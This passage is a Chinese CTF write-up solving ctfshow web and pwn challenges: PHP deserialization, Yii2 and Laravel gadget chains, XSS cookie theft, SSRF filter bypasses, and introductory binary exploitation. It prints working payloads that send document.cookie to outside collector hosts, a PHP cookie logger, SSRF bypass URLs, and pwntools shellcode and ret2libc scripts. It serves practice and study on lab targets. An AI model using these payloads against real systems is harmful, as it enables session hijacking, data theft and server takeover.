,共27个长度,所以要传递27个fuck
,这样就可以把前面的正常字符串单独分开来解析,然后又不影响后面值的修改。
上面截图中出现了一个小失误,应该要访问
/message.php
才是对的。
然后,我们获取到了flag:
让我们总结回顾其中的关键部分,关键思路用下面的公式表示更直观: 4(fuck's lengh)*27 + 27(payload's lengh) = 5(loveU's lengh)*27 = 135
然后再对照这个:
可能到现在总感觉有哪里不对劲,特别是逃逸的字符所预留的空间的存在,怎么感觉空间越来越多了?是的,我就是总感觉这里很奇怪所以思考了很久。 后来想到,如果我们用指针和内存的概念来类比理解会更好,也就是说我们可以把过滤后逃逸的27个字符当作一个内存虚拟空间,里面存放着需要执行的payload中每个字符的地址。因为我们既要保证payload能够成功执行不作为
$to
参数解析的一部分,又要保证$to
参数的值的字符长度能与前面的s:xxx
对应才能解析成功。所以当过滤后,那27个虚拟空间其实被多个loveU
占用了,而payload被分离在外部独立解析,所以最终整体反序列化才能解析成功并执行修改$token
的值。
web267
考察点:弱口令;php框架Yii2反序列化漏洞利用;“www权限覆盖缺陷利用法”(自己取的名)间接读取根目录文件
首先,发现有个登录框,优先尝试弱口令: 用admin:admin
直接登录成功。然后在about
功能点查看源码后发现有提示: 看这结构和url的GET方式传参一样,那就试着作为参数传递,在原url基础上添加
&view-source
: 泄露了源码的一部分与提示:
///backdoor/shell
unserialize(base64_decode($_GET['code']))
显然第一个可以猜想是利用的接口路径,第二个就不用多说了。注意到Wappalyzer
识别出了网站使用的web框架是Yii
,虽然没有识别出版本信息。 多次尝试实在没有发现可以暴露版本信息的地方,只能用自动化工具
phpggc
生成的payload进行逐个尝试,毕竟也不多,注意要将payload先进行base64编码,需要结合泄露的源码逻辑: 虽然说有些payload中出现报错导致payload无法完整生成,可能是版本利用条件等因素,但是不管有没有影响都可以尝试。另外,我们还需要观察url传参时的路由特点,当我们点击某个功能点时,如下:
所以,综合给到的所有信息,路径用
r
来传参,payload用code
来传参,并且要先做base64编码处理: 但是当我用cat /flag
时,并没有成功获取到,即使所有版本的payload都尝试过了。所以这个时候可能存在两种情况: 1、直接读取根目录的文件没有足够权限; 2、payload中的system
被过滤了。 我们先考虑第二种情况的解决方案,也就是替代成同类函数如exec
,但是也没有成功。 到这里实在没有思路了,于是乎,我参考了其他师傅的wp,发现他们最后是用复制根目录flag文件到网站目录后,然后再访问的方式,但是对于这种方式我存在疑惑,因为默认的网站权限应该是www
,为什么通过这种方式它就能访问到呢?我把我想到的猜想与chatgpt进行了讨论: 但是光有猜想还不够,我们需要实验来进一步佐证: 我用我的云服务器做实验,因为内部已经有集成的php网站环境。 首先我们研究www权限能否实现间接访问只允许root用户读取的根目录文件,在根目录创建
flag
文件,拥有者为root且不给其他用户与组读取的权限: 然后直接把木马放到php搭建的随便一个网站根目录中: 然后链接这个webshell,此时就是www权限用户,尝试间接访问:
权限不够。 接着用root用户把根目录的
flag
文件修改权限如下: 然后重新回到哥斯拉中的webshell,执行命令如下:
虽然有个报错,但并不是说没有权限访问,然后再看看此时是否有复制成功,并且查看复制后的权限是否还和原来相同:
所以我们验证成功了我们的猜想。
我把它称之为
www权限覆盖缺陷利用法
,所以这也就可以形成经验,当我们无法读取根目录的某个敏感文件时,可以尝试利用这种复制文件再间接读取的方式,前提是目标文件必须允许除拥有者以外的用户读取。
所以继续回到题目,我们利用该方法重新尝试读取flag: 最后生成的这个payload利用成功了: 虽然页面显示服务器错误:
但我们成功间接访问到了flag文件:
web271
考察点:php框架Laravel反序列化漏洞利用
在黑盒环境下实在找不到什么信息和利用点,只能从界面给的源码中了解到使用的框架是Laravel,以及可以把payload通过POST
方式作为data
的值让其反序列化后执行: 其他实在看不出什么点了,也获取不了源码进行分析。不知道这题是单纯让我们直接用网上的poc或者工具生成的poc盲测还是什么,这边直接用工具跑了:
以后有时间了再回来研究下。
web316
考察点:基本cookie窃取的利用、基本xss的payload构造、常用的"带外"途径(反射型XSS)
先从业务功能角度去理解,后台要知道你是否将生成的链接发送给了朋友,可能需要先访问该链接才可能追踪已共享给的对象,如果在这一过程中用户写下的祝福语不走寻常路且没做好过滤,那么就可能存在xss的风险;既然是xss,那么首先要想到的是利用弹窗劫持cookie、获取敏感信息等常规手段,先看下当前的cookie:
根据字符串的意思,需要管理员才能获取flag。正常输入,发现用msg来传参,并同时输出到最下方:
测试是否存在xss:
根据上下文,显然要利用xss来实现cookie劫持,伪造成管理员admin,那么要获得管理员的cookie,显然先需要保证管理员点击恶意生成的链接,然后触发js获取其cookie,题目后台会有一个bot每间隔一段时间访问该部分生成的链接。由于这是第一题一般没有太多过滤,有很多种利用方式,其中有以下常见利用途径:
- 利用xss平台接收请求
先创建一个项目,也就是会分配一个较简短的url:
然后会跳出生成的payload示例与使用方法,平台都写得很清楚了:
接收的返回结果要点击创建的项目查看。没注意到公告上已经说了免费用户服务已经暂停了,白嫖失败/(ㄒoㄒ)/~~
换一个平台:
xssaq【要魔法】
实测发现只有平台提供的payload能够返回结果,但过了一段时间后并没有出现后台bot点击链接后返回的结果;而用自定义payload则无返回结果,可能对于解题来说是有些大材小用了,暂时放弃该平台。
因此可以看出一些在线xss平台效果不是很理想,可以尝试搭建开源xss平台在自己的vps。
- 利用带外平台接收
推荐用CEYE,这个效果就好很多了(除了看dns记录还可以看http请求):
payload如下:
<script>var img=document.createElement("img");img.src="http://nmc9yl.ceye.io?cookie="+document.cookie;</script>
很好理解,该恶意代码表示在当前页面中创建一个元素img,然后将带外平台的url拼接,作为img点击后跳转的恶意链接,同时该链接可捕获到当前操作用户的cookie,也就是bot管理员的。
由于过滤几乎没有,还可以有很多构造如下(包括且不限于):
<script>window.open('http://nmc9yl.ceye.io/?cookie='+document.cookie)</script>
<input onfocus="window.open('http://nmc9yl.ceye.io/?cookie='+document.cookie)" autofocus>
<svg onload="window.open('http://nmc9yl.ceye.io/?cookie='+document.cookie)">
<iframe onload="window.open('http://nmc9yl.ceye.io/?cookie='+document.cookie)"></iframe>
<body onload="window.open('http://nmc9yl.ceye.io/?cookie='+document.cookie)">
总之就是利用js提供的各种用法,与实际利用手法相结合进行构造各种payload。
- 利用服务器搭建恶意钓鱼网站
在某些特殊场景下用上面的途径可能会失效,所以才有这种方式。
以自己的vps上宝塔搭建为例,用到的简易php劫持cookie网站来源于ctfwiki:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
含义很简单,从GET参数中获取cookie值,并以追加的方式写入到指定的文件作为日志。
先创建一个php网站,如下:
注意分配好网站目录的所有者和权限,选默认就行:
然后将下面的payload示例作为”祝福“即可:
<script>document.location.href="http://test.su-cvestone.cn:8012/xss.php?cookie="+document.cookie</script>
最后查看写入后的日志即可看到劫持的cookie:
其实和上面的途径差别不算大,原理都是一样的,只不过换一种网络环境而已。
web317~web319
- web317:
描述:开始过滤
考察点:用其他标签绕过script标签过滤(反射型XSS)
发现用上题的payload不再有用,既然题目说开始过滤了,先从第一个可能的<script>
开始排查,基本绕过和其他漏洞也是很相似的,显然这里可先尝试大写绕过:
<ScRiPt>document.location.href="http://test.su-cvestone.cn:8012/xss.php?cookie="+document.cookie</ScRiPt>
还是没反应,接着尝试双写:
<scscriptript>document.location.href="http://test.su-cvestone.cn:8012/xss.php?cookie="+document.cookie</scscriptript>
依然没反应,尝试换其他标签,如:
<iframe onload="window.open('http://test.su-cvestone.cn:8012/xss.php?cookie='+document.cookie)"></iframe>
所以可以猜测只过滤了一对<script>
标签。
- web318:
描述:增加了过滤
不知道做了什么过滤,但用317的依然通杀。 - web319:
描述:增加了过滤
依然通杀。
web320~web321
- web320:
描述:增加了过滤
考察点:空格过滤的绕过同sql注入(反射型XSS)
这次没办法通杀了,测试发现应该是对特殊符号做了过滤,先从前往后排除,先排查空格:
绕过方法也很简单,因为大家都是php写的,一般也都是哪些常用函数,可参考sql注入解决方案
这里选择用/**/
来绕过:
<iframe/**/onload="window.open('http://test.su-cvestone.cn:8012/xss.php?cookie='+document.cookie)"></iframe>
- web321:
描述:增加了过滤
用web320的通杀。
web322
描述:增加了过滤
考察点:替换文件名绕过字符串过滤(反射型XSS)
排查了很多特殊符号,在询问群主之后才发现原来这题是过滤了“xss”字符串,简单,文件名改一下然后payload也随之修改文件名就行:
<iframe/**/onload="window.open('http://test.su-cvestone.cn:8012/test.php?cookie='+document.cookie)"></iframe>
web323~web326
- web323:
描述:增加了过滤
考察点:用其他标签绕过标签过滤(反射型XSS)
用上题的payload失效了,依然还是从标签开始排查,尝试换成<body>
标签后成功:
<body/**/onload="window.open('http://test.su-cvestone.cn:8012/test.php?cookie='+document.cookie)"></body>
- web324:
用上面的payload通杀。 - web325:
用上面的payload通杀。 - web326:
用上面的payload通杀。
web327
考察点:发邮件劫持cookie(存储型XSS)
和前面反射型的题目类似,所以猜测依旧可能是要实现cookie劫持,只不过此时场景变了,既然要获得管理员的cookie就要当前用户是管理员,该功能是写邮件,填写的数据很有可能是存储在目标服务器的数据库上,而劫持cookie的恶意代码的触发时机,就是当收件人点开该邮件的那一刻,所以这里的收件人要填管理员admin,至于payload,可以直接用上面反射型的:
<iframe/**/onload="window.open('http://test.su-cvestone.cn:8012/test.php?cookie='+document.cookie)"></iframe>
填写内容如下:
web328
考察点:登录框cookie劫持并登录(存储型XSS)
登录框除了sql注入、逻辑漏洞等常见的利用方式,也不要忘了也是存在xss的可能性的,毕竟也是用户交互同时数据存储在数据库中的。先注册一个用户,用户名同样用前面的payload,密码随意:
然后在自己vps上看到被劫持的cookie:
登录时F12修改成该cookie即可,哪怕提示登录失败,但发现用户管理可访问了,还能发现iframe确实被执行了,其效果作为了用户名:
注意这些题其实可以有很多种解法,很多种payload都可以打通,但这些不重要,最重要的是理解清楚这些攻击场景和思路。
(未完待续)web329
考察点:
依然同web330的流程,发现虽然能劫持到cookie,但修改完后却无法访问到“用户管理”页面,依然提示不是管理员,此时就要从cookie的特性去分析,最有可能的是cookie的时效性受到了影响?如果是,其场景可能是管理员登录了后台瞟了一眼,然后就直接退出浏览器了,时间间隔非常短,我们还来不及利用劫持到的cookie登录管理员,cookie就已经失效了。那么此时就要尝试去抓包看看在这期间的数据包情况了,看看有没有可能实现类似于“条件竞争”的效果,抢先管理员一步。
web351
考察点:php利用file:///
伪协议实现ssrf文件读取
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
实现了一个简单的远程网页内容获取功能,从 POST 请求中获取名为 "url" 的参数值,即用户输入的目标 URL,然后将获取到的远程网页内容输出到页面上。
根据常规网站搭建方式,我们知道flag.php
这个敏感文件可能就存在网站根目录,因此直接让服务器自己去访问这个路径: 拿到flag。 这里还可以通过php的伪协议
file:///
来读取flag.php
,然后查看源码如下:
注意:与文件包含等漏洞不同,虽然ssrf可以用伪协议,但只能实现文件读取而不能写入!
web352
考察点:php ssrf的bypass方法-进制转换/本地回环地址/默认路由
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这里对本地解析做了过滤。 首先,当我们在命令行执行ping命令时,实际上将127.0.0.1转换成其他进制(部分或全部转换都行,可以直接搜索ip地址进制转换网站)时,也可以正常解析,如下: 也就是利用了ip地址的解析特性来绕过。 因此该题的参数构造如下:
还可以用本地回环地址bypass,构造如下:
其实不仅仅只有
127.0.0.1
是本地回环地址(Loopback Address),实际上,IPv4 中的回环地址范围是127.0.0.0 ~ 127.255.255.255
,这些地址都被保留用于本地回环,用于设备内部的自我通信。
还可以构造如下:
0.0.0.0
虽然不是本地回环地址,但它被用作监听所有可用网络接口的地址,所以包括本地地址。
web354
考察点:php ssrf的bypass方法-域名解析
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
现在只要包含0和1都被过滤了,这时如果想用短网址绕过,需要看运气,一个网站生成的包含0或1就换另一个,但是这样太繁琐,很耗时间,事实上还可以尝试利用域名解析绕过,具体如下: 首先准备一个云服务器,然后搭建一个网站,在该网站的域名dns记录上写上指向127.0.0.1的主机记录: 成功:
当服务器访问该地址后,就相当于访问
127.0.0.1/flag.php
web355
考察点:php ssrf参数长度限制的bypass
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
这里不再做一些匹配过滤,而是限制传递的参数长度,实际上根据ip地址解析的特性,依然是可以利用的,如下:
web357
考察点:php ssrf的bypass方法-重定向解析
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>
0.0.0.0
ip!
这里使用gethostbyname()
函数获取解析后的 URL 中的主机名对应的 IP 地址。通过使用filter_var()
函数和相应的过滤器验证 IP 地址的有效性,其中过滤器使用了 FILTER_VALIDATE_IP
,通过指定FILTER_FLAG_NO_PRIV_RANGE
和FILTER_FLAG_NO_RES_RANGE
标志来禁止私有地址和保留地址。
其实这也好办,虽然过滤中表明不能访问保留地址和私有地址,但却可以解析外部网站,此时我们还可以利用云服务器进行重定向,具体处理如下: 以php为例,在云服务器写如下重定向功能的php代码:
<?php
header("Location:http://127.0.0.1/flag.php");
传参,成功拿到flag:
web358
考察点:php ssrf的bypass方法-url含特殊字符解析
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
这里没有做什么特别的过滤,只是要求url中必须含有ctf
和show
,此时依然可以利用url解析的特性,参数值可以构造如下的payload: url=http://ctf.@127.0.0.1/flag.php#show
这里的
@
是基于http(s)身份认证的用法,前面是用户名后面是主机名,如果用户名不存在,大多数时候会忽略掉,因此只解析后面的主机名。而后缀中,由#
开头表示的是片段标识符部分(fragment,可选项),用于指定文档中的特定位置或目标,这里就巧妙地将必须包含的另一字符串show
作为片段标识符部分。 或者: url=http://ctf.@127.0.0.1/flag.php?show
这样构造主要就是把
show
作为传递的参数部分,前面都一样。
web359
考察点:php ssrf利用gopher协议解决非http(s)传输结合mysql注入
访问时是一个登录框,且题目提示是无密码的mysql。 利用gopher协议时可以配合使用工具Gopherus
,执行如下,利用工具生成一个mysql写入后门的url编码后的payload: 由于浏览器在解析时会先进行一次url解码,所以我们还需要对payload的后面url编码部分再进行一次url编码,保证payload的完整性和可用性:
然后回到网站,输入root和空密码,打开F12的网络选项:
将payload编码后的部分和前面不需要编码的部分一起,作为这里
returl
的参数值进行传递给check.php
(即由前面F12网络中知道的,别漏掉了): 执行完就算写入后门成功了,然后先检验是否能访问到后门文件:
没有404的报错,说明确实写入进去了,执行后门代码获取flag:
web360
考察点:php ssrf利用gopher协议解决非http(s)传输结合redis注入
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
题目提示是打redis,同样尝试用Gopherus
工具生成ssrf的payload: 同样也要对最终生成的payload进行url再编码,然后写入:
但不管怎么样都无法拿到flag,访问都是超时,应该是服务器的问题,就略了,知道思路就行。
pwn入门
Test_your_nc
pwn0~pwn4
考察点:nc基操、ida基操、代码审计
pwn0-3:太简单,略 pwn4: 丢到ida,F5反编译main函数
意思就是获取输入与CTFshowPWN做比较,相等则执行execve_func函数,否则退出,看名字就像是执行系统命令的函数,双击进去看看:
那意思就是nc连接后,先输入CTFshowPWN,后面就可以直接输入系统命令了
前置基础
pwn5-pwn12:
考察点:汇编基础(常见寻址方式)
pwn5-12的题目全是关于汇编的基础知识,它们的汇编代码也都一样的
pwn5:直接运行给的32位elf文件 pwn6:
给的asm汇编文件中:
; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1
其实就相当于高级语言的:
eax = 11;
eax += 114504;
eax -= 1;
最终结果就是114514,即ctfshow{114514} pwn7:
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
ctfshow{0x36D} //注意大写 pwn8:
; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx
ctfshow{0x36D} //注意大写 pwn8:
; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
但是问题在于msg的地址我们不知道, 结合给的汇编代码可以知道msg就是程序执行弹出的消息的内容:
section .data
msg db "Welcome_to_CTFshow_PWN", 0
丢到ida里看看:
所以这里的地址就是0x80490E8 (数数,57刚好在第8,注意从0开始数) pwn9:
; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax
那就丢到ida里找esi指向的地址的值: 定位到上面汇编语句的位置,双击进入到这个地址中:
可以发现其中存储的值就是636C6557,后面的h是十六进制后缀,所以flag就是ctfshow{0x636C6557} pwn10:
; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax
这里注意是把原来msg的地址加4,即0x80490E8 + 0x4 ,即0x80490EC,和上面同理定位到该地址:
这段字符串即flag pwn11:
; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax
计算ecx+edx_2 ,0x80490E8+0x2_2 = 0x80490EC,发现就是pwn10的flag pwn12:
; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax
计算,0x80490E8+0x8+0x2-0x6,为0x80490EC,还是pwn10的flag
pwn13~pwn16
考察点:编译链接基操
pwn13: 用gcc编译运行flag.c即出flag:
pwn14:
阅读所给的源码:
关键就是看if,如果当前目录中没有key这个文件,或者文件内容为空,则输出啥也没有,那么思路很明确了, 自己写个key文件,复制题目提示给的key:CTFshow,至于为什么匹配上这个key就能输出flag从源码中无法看出。
试着把key文件的内容改成错误的key值:
发现和前面不一样了,那很显然这个程序的逻辑就是把key文件的值用二进制表示出来进行输出罢了,说明题目设定的flag必须匹配上所给的key才会输出相对应唯一的二进制值,即flag pwn15:
#.asm是汇编语言的源代码文件,windows上以.asm为主
nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件
ld -s -o flag flag.o # 将flag.o链接成flag可执行文件
和前面的不一样,汇编代码采取上面的方式编译链接
pwn16:
.s是汇编语言的源代码文件,linux上以.s为主
注意这里多次运行程序后,flag都是不一样的,但是有一部分是保持不变的,所以这部分才是真正的flag
pwn17
考察点:c代码审计、简单获取交互shell
老规矩,丢到ida里分析看看先: 观察反编译代码,还是和之前一样用switch执行选择逻辑, 定位到case 3,因为只有这里是最直观的和获取flag命令有关的,但是问题就在于这里卡着一个sleep()函数,出题人丧心病狂吗,是要让人睡整整一天半再回来看flag吗哈哈哈哈:
毕竟这里0x1BF52换算成十进制是114514秒,整整31小时!!(这里的u是Unsigned无符号型) 另找出路,发现这里就只有case 2更有利用价值了:
先获取我们的输入,但是输入被限制只能0xA字节(即9字节加1个\0结束符,这里的uLL是数据类型unsigned long long),然后给buf,再追加到dest字符串末尾,然后再调用系统执行函数。 其中: (1)strcat() 是 C 语言中的一个字符串操作函数,用于将一个字符串追加到另一个字符串的末尾; (2)read() 是一个系统调用函数,用于从文件描述符中读取数据:
read(int fd, void *buf, size_t count);
fd:表示文件描述符,指定要从哪个文件或设备读取数据。 buf:表示一个指向存储读取数据的缓冲区的指针。 count:表示要读取的最大字节数。 当 read() 函数中的文件描述符 fd 的值为 0 时,表示从标准输入读取数据,标准输入是程序默认从用户输入读取数据的地方。需要注意的是,标准输入通常是行缓冲的,意味着当用户输入一行数据并按下回车键时,输入的数据才会被传递给程序。因此,如果用户没有按下回车键,read() 函数可能会一直阻塞等待用户输入。
所以思路很简单了,我们只要能获取一个交互shell就可以执行不止一条系统命令,刚好/bin/bash和/bin/sh都满足长度需要,任选一个,如下:
pwn18
考察点:c代码审计
先看看给的文件:
64位的,丢到64位ida看看反编译后的源码:
分别进入fake()和real()看看是啥东东:
发现两个函数差不多,只是fake()是把干扰的flag追加到原真正flag后面,而real()则把干扰的flag覆盖了原真正flag。 整体程序逻辑就是获取输入,看看输入值是不是等于9,等于就执行fake(),否则执行real(),所以这里要注意的是开了靶机后,如果第一次不是输入9,输入其他的,那么真正的flag已经被覆盖了,无论nc多少次都拿不到真正的flag,如下:
而第一次输入flag才行:
所以这题看上去属于pwn题,实际不过就是c语言的代码审计
pwn19
考察点:
老规矩:
丢ida64反编译,顺便直接丢到chatGPT自动生成些注释,方便我们更好地理解代码逻辑(懒人福音!!嘿嘿)
对比pwn18的代码,会发现这里确实没有任何与输出流有关的函数(输出用户的输入),如echo,仅仅只是system()帮我们执行一下命令,但是看不到输出,然而这里又和ping和dns都没任何关系,所以web那套dnslog带外也行不通, 然而,我们通过接下来的小实验就可以举一反三解出这道题: 我们在类unix系统中,写两个这样的python程序: program1.sh:
#!/usr/bin/env python3
print("Hello, world!")
program2.sh:
#!/usr/bin/env python3
import sys
data = sys.stdin.read() //读取标准输入中的所有内容,并将其作为一个字符串返回
print("接收到数据: " + data)
然后执行命令:
我们会发现程序1的输出通过管道符被程序2接收,作为程序2的标准输入流,最终输出程序1、2的内容,这实际上就是重定向的原理, 那我们是不是也可以试着用重定向来利用这道pwn题呢? 也就是说虽然我们输入了系统命令,无法获取到它的输出,但我们可以将执行命令后的输出重定向到标准输入中,即我们的命令小黑窗中
这里先要引入一个叫文件描述符的东西: 在Unix-like系统中,每个打开的文件都会被分配一个唯一的文件描述符。其中,0表示标准输入(stdin),1表示标准输出(stdout),2表示标准错误输出(stderr)。 然后我们可以用这样的重定向符号:>&0 重定向操作符: ">" 用于将输出重定向到文件,而 "&"用于指定一个文件描述符 知道了原理,就可以开干了: 先直接输出个系统命令:
发现IO错误,没有我们想要的输出 试着重定向: 注意由于给我们的不是可交互式的shell,所以每次都得断开nc再重连
说明利用成功了,发现我们目前位置在根目录下 ok,获取flag:
pwn20~pwn22
考察点:got和plt基础、保护机制基础(RELRO)
这里提到了got和plt,关于这个,可以参考Nu1L战队从0到1书中P339,已经解释得很通俗易懂了,以及下面的参考文章 (当然,既然都遇到了got和plt,建议不妨去把《程序员的自我修养》第4章静态链接和第7章动态链接知识也补了,如果可以再加上第2章编译和链接,这样对程序的编译链接有个比较清晰的基本认识,咱们不能为了做题而做题,题目只是巩固知识的一种手段而已,笔者比较提倡做题过程中遇到哪些不懂的,就去获取各种相关的资料,遇到新题再慢慢补充新知识,同时做好属于自己的思维导图,慢慢形成自己的知识体系,而不是说咱学个pwn,先把什么书从头到尾啃完再做题,那样说实话效率不高而且看了忘,深有体会,还是别踩这个坑了) https://blog.csdn.net/linyt/article/details/51635768 https://linyt.blog.csdn.net/article/details/51636753 https://linyt.blog.csdn.net/article/details/51637832 题目问.got表和.got.plt是否可写?看到这两个熟悉的名字就能想到《程序员的自我修养》里在讲动态链接的时候有介绍过。 运行程序提示中出现RELRO:
这是一个保护机制,主要和got与plt有关,从《ctf竞赛权威指南pwn》中找到了相关的介绍:
所以根据介绍可以得出: 当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写; 当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写; 当RELRO为No RELRO时,表示.got与.got.plt都可写。 首先看程序是否有保护机制一般都先用checksec来扫一下:
无RELRO保护,说明都是可写的,那flag前部分就是
ctfshow{1_1_
然后.got和.got.plt的地址是包含在节头表信息中的,可以用readelf来查看:
往下翻,找到了:
把这两个地址再拼接到flag作为后部分就好了。
0x600f18_0x600f28}
pwn21和pwn22解法同上。
pwn23
考察点:简单栈溢出
常规checksec检查,丢到ida反编译: main():
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // eax
int v5; // [esp-Ch] [ebp-2Ch]
int v6; // [esp-8h] [ebp-28h]
int v7; // [esp-4h] [ebp-24h]
FILE *stream; // [esp+4h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5, v6, v7, v3);
puts(asc_8048940);
puts(asc_80489B4);
puts(asc_8048A30);
puts(asc_8048ABC);
puts(asc_8048B4C);
puts(asc_8048BD0);
puts(asc_8048C64);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Linux_Security_Mechanisms ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : No canary found ");
puts(" * ************************************* ");
puts("How to input ?");
if ( argc > 1 )
ctfshow((char *)argv[1]);
return 0;
}
ctfshow():
char *__cdecl ctfshow(char *src)
{
char dest[58]; // [esp+Ah] [ebp-3Eh] BYREF
return strcpy(dest, src);
}
strcpy危险函数,老演员了,这里代码审计也好分析,先本地读取/ctfshow_flag文件,如果我们执行程序并且带有1个以上命令参数,则参数传给ctfshow,参数被复制给dest,由于该参数 可控,故存在栈溢出,执行程序时参数附带好多个a,就行了:
pwn24
考察点:shellcraft模块生成简单shellcode
该程序比往常多了个RWX选项,是内存可读可写可执行:
由于ida中无法将ctfshow函数反编译,因为它有可能是在libc中,暂不考虑分析。 结合题目提示,说明可以用shellcraft模块生成shellcode来利用。
shellcraft模块是pwntools库中的一个子模块,用于生成各种不同体系结构的 Shellcode。 Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。 shellcraft模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode。
# -*- coding: utf-8 -*-
from pwn import *
#context(arch='amd64',os='linux')
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
#pwnfile= '' # 要pwn的程序及其路径
#io = process(pwnfile) # 为程序创建一个io进程对象
io = remote('pwn.challenge.ctf.show',28261) # 打远程则开启这个并注释掉前一个
shellcode = asm(shellcraft.i386.linux.sh()) #这里一定要注意用asm包裹
# pwndbg附加调试
#gdb.attach(io)
#pause()
io.sendline(shellcode) # 发送shellcode
io.interactive() # 获得一个交互式shell
此处asm()函数用于将shellcraft生成的shellcode汇编指令转换为字节码(即机器码),且注意shellcode是没有通用的,依赖于特定处理器、操作系统等, 因此学会自己编写shellcode很重要。
pwn25
考察点:ret2libc
保护只开了NX,说明此时shellcode难利用了,丢到ida,
main():
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0, 1, 0);
setvbuf(stdout, 0, 2, 0);
ctfshow(&argc);
logo();
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
ctfshow():
ssize_t ctfshow()
{
char buf[132]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 0x100u);
}
缓冲区buf长度132,而read限制长度0x100即256,显然此时read函数存在栈溢出。再跟进write(),发现返回的 还是write,但是无法继续反编译,说明可能来自libc中的write。
此时比较常规的思路就是泄露libc中的某个函数内存加载地址,从而计算出libc基地址,进而确定libc中的其他函数与参数等。 我们可以先用rabin2看看该程序的.plt表和.got.plt表中,调用外部即libc的函数有哪些:
这里只要是输出函数都可以用,因为我们要输出泄露的地址,比如选puts 首先肯定要先确认溢出偏移padding,经尝试这里用cyclic不太行得通,还可尝试从静态分析中看看栈结构:
然后就可以编写两次payload,第一次计算泄露,第二次进行利用,poc如下:
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='i386',os='linux') # debug显示可选但最好开启,其他两个必须指定,否则容易出问题
pwnfile= './pwn25' # 要pwn的程序及其路径
io = process(pwnfile) # 为程序创建一个io进程对象
#io = remote('pwn.challenge.ctf.show',28284) # 打远程则开启这个并注释掉前一个
#io = remote('127.0.0.1',8888)
elf = ELF('./pwn25')
padding = 0x88 + 0x4
# main函数地址
main_addr = elf.symbols['main']
# plt表中puts函数地址
puts_plt = elf.plt['puts']
